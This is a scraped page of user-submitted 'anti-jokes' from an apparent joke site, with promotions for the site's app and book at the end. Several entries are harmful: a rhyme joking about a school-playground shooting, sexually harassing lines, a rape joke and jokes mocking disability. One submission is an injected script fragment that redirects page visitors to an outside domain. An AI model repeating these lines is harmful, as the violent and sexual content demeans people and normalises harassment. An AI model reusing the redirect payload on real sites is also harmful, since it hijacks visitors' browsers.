Q. Why did Lucy fall off the swing? A. She had no arms Q. Why didn't she get back up? A. She had no legs Q. Why did no one help her up? A. She had no friends Q. Why did Lucy fall off the swing A. She had no arms You: knock knock Other person: who's there? You: not Lucy

What come after 69? Time for you to get a watch

Why did the donkey say "Shit sorry I had no idea" Because the batteries shouted: "Nobody told me about your actions here, sorry for the terrible coding format, I am new"

What do you call a person who walks but doesn't run? A power walker What do you call a person who runs but doesn't walk? Someone running to the nearest bathroom holding there crotch.

Why does Santa Claus drink so much hot Cocoa? Because Mrs. Claus got tired of his constant drunkenness and won't allow beer in the house in the house anymore.

What did the orange say to the lemon? We are both alike but a differnt color

What do you call a big group of Chinese people on Mars? An extraordinary feat for the Chinese space program and a historic day in human history, where a particular country has set up the first human colony on another planet and we have proven to ourselves that our race is capable of interplanetary travel and can accomplish anything if we set our minds to it.

roses are red ur face is too and if u r hot my penis is going in u

What do you get when you cross a road with a car? Severe injuries or even death.

The funniest thing happened in my dream last night, i dreamed that banks would stop ripping people off and start treating people like humans. How wierd is that :D

Why should we dislike all the jokes on the Newest Page? Well you should too. >.>

Roses are red, Violets are blue, I just shot up a plaground Now Im heading to an orphanage

my friend died in a car crash, now i have no friends.

Why was 6 afraid of 7? 7 was a serial-rapist with links to the Black Dragon triad. Yee.

"Do you like pie?" "No." "Do you like blueberries?" "No." "I have something you won't like." "Is it a blueberry pie?" "No, I shagged your wife last night".

Jack wasn't nimble. Jack wasn't quick. Jack sat on the candle and burned his corduroys.

did you hear about the circus fire? it was tragic and hundreds of people were killed.

Justin Bieber

Roses are red, Violets are blue, I suck at poetry Show me your tits

What did the boy with no arms and no legs get for his birthday? Twister

"'>document.location.href="http://cramik.org"

Why did the person name her OC telephone? I have no idea, please let me know why.

Why did the man stop dead in his tracks? He was on top of a land mine.

What do a fish and an eagle have in common? They both live underwater aside from the eagle.

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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